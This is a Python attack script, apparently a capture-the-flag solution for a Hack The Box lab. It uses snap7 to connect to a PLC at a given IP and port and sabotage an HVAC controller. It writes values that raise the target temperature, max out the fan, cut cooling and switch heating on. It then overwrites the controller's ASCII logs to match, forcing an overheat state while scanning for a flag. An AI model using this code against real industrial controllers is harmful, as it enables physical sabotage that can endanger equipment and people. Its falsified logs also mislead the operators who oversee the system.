L
#!/usr/bin/env python3
import snap7
from snap7.util import set_real, set_bool
import re
import time
# New PLC instance parameters
PLC_IP = "94.237.58.172"
PLC_PORT = 31766
PLC_RACK = 0
PLC_SLOT = 0
def search_for_flag(data, source=""):
"""Search for HTB{ pattern in binary data"""
# Convert binary data to ASCII
ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
# Search for HTB{ pattern
flag_match = re.search(r'HTB\{[^}]*\}', ascii_data)
if flag_match:
flag = flag_match.group(0)
print(f"[+] FLAG FOUND in {source}: {flag}")
return flag
return None
# Create client instance
client = snap7.client.Client()
# Connect to the PLC with the specified port
print(f"[*] Connecting to PLC at {PLC_IP}:{PLC_PORT}...")
try:
client.connect(PLC_IP, PLC_RACK, PLC_SLOT, tcp_port=PLC_PORT)
print("[+] Successfully connected to PLC")
# Get CPU state
try:
cpu_state = client.get_cpu_state()
print(f"[*] CPU State: {cpu_state}")
except Exception as e:
print(f"[-] Error getting CPU state: {e}")
# Read initial state of all DBs
print("\n[*] Reading initial state of all DBs...")
for db_num in range(1, 6):
try:
data = client.db_read(db_num, 0, 48)
ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
print(f"DB{db_num} Initial: {ascii_data}")
# Check for flag
search_for_flag(data, f"DB{db_num} initial")
except Exception as e:
print(f"[-] Error reading DB{db_num}: {e}")
except Exception as e:
print(f"[-] Connection error: {e}")
exit(1)
print("[*] Starting sabotage script (real values + ASCII logs)...")
# --- Sabotage real control values ---
# 1. DB1: Target Temperature -> 50.0°C (offset 4 for real numeric data, since offset 0 is ASCII!)
try:
data = client.db_read(1, 0, 48)
set_real(data, 4, 50.0) # write float at offset 4
client.db_write(1, 0, data)
print("[+] DB1: Target temperature set to 50°C (REAL@4)")
except Exception as e:
print(f"[-] DB1 sabotage failed: {e}")
# 2. DB2: Fan Speed -> 99.0% (offset 4)
try:
data = client.db_read(2, 0, 48)
set_real(data, 4, 99.0)
client.db_write(2, 0, data)
print("[+] DB2: Fan speed set to 99% (REAL@4)")
except Exception as e:
print(f"[-] DB2 sabotage failed: {e}")
# 3. DB3: Cooling -> 10.0% (offset 4)
try:
data = client.db_read(3, 0, 48)
set_real(data, 4, 10.0)
client.db_write(3, 0, data)
print("[+] DB3: Cooling set to 10% (REAL@4)")
except Exception as e:
print(f"[-] DB3 sabotage failed: {e}")
# 4. DB5: Heat ON (BOOL at offset 0, bit 0)
try:
data = client.db_read(5, 0, 48)
set_bool(data, 0, 0, True)
client.db_write(5, 0, data)
print("[+] DB5: Heat turned ON (BOOL@0)")
except Exception as e:
print(f"[-] DB5 sabotage failed: {e}")
# --- Overwrite ASCII logs to match sabotage ---
ascii_overwrites = {
1: b'TARGET-TEMP:50C SETPOINT:50C MAX:50C MIN:50C ',
2: b'FAN:99% VENT:RECIRC AIR:9999m3/h STAT:ON ',
3: b'COMP:ON COOL:10% PRES:5bar ',
4: b'STATE:OVHT ERR:0 LOG:ALERT ',
5: b'HEAT:ON CAP:100% OVR:1 KEY:0a42417865 ',
}
for db_num, new_text in ascii_overwrites.items():
try:
data = client.db_read(db_num, 0, 48)
new_data = new_text.ljust(48, b' ')
data = new_data + data[len(new_data):]
client.db_write(db_num, 0, data)
print(f"[+] DB{db_num}: ASCII log updated to sabotage values.")
except Exception as e:
print(f"[-] DB{db_num} ASCII overwrite failed: {e}")
# Check final state of all DBs after sabotage
print("\n[*] Reading final state of all DBs after sabotage...")
for db_num in range(1, 6):
try:
data = client.db_read(db_num, 0, 48)
ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
print(f"DB{db_num} Final: {ascii_data}")
# Check for flag
search_for_flag(data, f"DB{db_num} final")
except Exception as e:
print(f"[-] Error reading DB{db_num}: {e}")
# Monitor DB4 for a while to see if STATE changes and check for flags
print("\n[*] Monitoring DB4 for STATE changes and flags...")
for i in range(10):
try:
time.sleep(1)
data = client.db_read(4, 0, 48)
ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
print(f"DB4 Check #{i+1}: {ascii_data}")
# Check for flag
search_for_flag(data, f"DB4 check #{i+1}")
# Check if STATE is OVHT
if "STATE:OVHT" in ascii_data:
print("[+] SUCCESS! STATE has been changed to OVHT!")
except Exception as e:
print(f"[-] Error monitoring DB4: {e}")
# Disconnect from the PLC
client.disconnect()
print("\n[*] Disconnected from PLC")
print("[*] Final sabotage complete. The HVAC system should now be in OVHT state!")